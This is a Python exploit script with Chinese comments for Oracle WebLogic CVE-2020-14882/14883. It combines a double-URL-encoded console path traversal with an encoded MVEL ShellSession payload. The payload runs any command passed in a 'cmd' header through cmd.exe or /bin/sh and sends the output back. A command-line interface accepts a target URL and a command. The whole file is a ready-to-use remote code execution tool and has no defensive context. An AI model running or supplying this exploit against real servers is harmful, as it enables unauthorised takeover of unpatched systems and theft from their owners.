import requests
import argparse
from urllib.parse import urljoin

def exploit(target_url, command):
    """
    WebLogic CVE-2020-14882/14883 漏洞利用函数
    
    :param target_url: 目标URL
    :param command: 要执行的系统命令
    :return: 命令执行结果或错误信息
    """
    # 构造漏洞利用路径（双重编码绕过）
    path = "/console/css/%252e%252e%252fconsolejndi.portal"
    
    # 预置的反序列化payload（已URL编码）
    payload = "com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread+currentThread+%3D+%28weblogic.work.ExecuteThread%29Thread.currentThread%28%29%3B+weblogic.work.WorkAdapter+adapter+%3D+currentThread.getCurrentWork%28%29%3B+java.lang.reflect.Field+field+%3D+adapter.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3Bfield.setAccessible%28true%29%3BObject+obj+%3D+field.get%28adapter%29%3Bweblogic.servlet.internal.ServletRequestImpl+req+%3D+%28weblogic.servlet.internal.ServletRequestImpl%29obj.getClass%28%29.getMethod%28%22getServletRequest%22%29.invoke%28obj%29%3B+String+cmd+%3D+req.getHeader%28%22cmd%22%29%3BString%5B%5D+cmds+%3D+System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22window%22%29+%3F+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+cmd%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+cmd%7D%3Bif%28cmd+%21%3D+null+%29%7B+String+result+%3D+new+java.util.Scanner%28new+java.lang.ProcessBuilder%28cmds%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%22%5C%5CA%22%29.next%28%29%3B+weblogic.servlet.internal.ServletResponseImpl+res+%3D+%28weblogic.servlet.internal.ServletResponseImpl%29req.getClass%28%29.getMethod%28%22getResponse%22%29.invoke%28req%29%3Bres.getServletOutputStream%28%29.writeStream%28new+weblogic.xml.util.StringInputStream%28result%29%29%3Bres.getServletOutputStream%28%29.flush%28%29%3B%7D+currentThread.interrupt%28%29%3B')"

    # 构造完整URL
    url = urljoin(target_url, path)
    full_url = f"{url}?test_handle={payload}"

    # 请求头配置
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "cmd": command,
        "Accept": "*/*",
        "Connection": "close"
    }

    try:
        # 发送HTTP GET请求
        response = requests.get(
            full_url,
            headers=headers,
            verify=False,  # 忽略SSL证书验证
            timeout=30,    # 设置超时时间
            stream=True    # 启用流式响应
        )

        for chunk in response.raw.stream():
            chunked_data = chunk.decode('utf-8')
            if chunked_data:
                return chunked_data
            else:
                return "[-] 未检测到有效响应"

    except requests.exceptions.RequestException as e:
        # 处理请求异常
        return f"[-] 请求失败: {str(e)}"
    except Exception as e:
        # 处理其他异常
        return f"[-] 发生错误: {str(e)}"

if __name__ == "__main__":
    # 命令行参数解析
    parser = argparse.ArgumentParser(description="WebLogic CVE-2020-14882/14883 利用工具 -- By MINGY")
    parser.add_argument("-u", "--url", required=True, help="目标URL (例如: http://vuln-host:7001)")
    parser.add_argument("-c", "--command", required=True, help="要执行的命令")
    args = parser.parse_args()

    # 执行漏洞利用
    result = exploit(args.url.rstrip('/') + '/', args.command)
    
    # 输出结果
    print("[+] 命令执行结果:")
    print(result)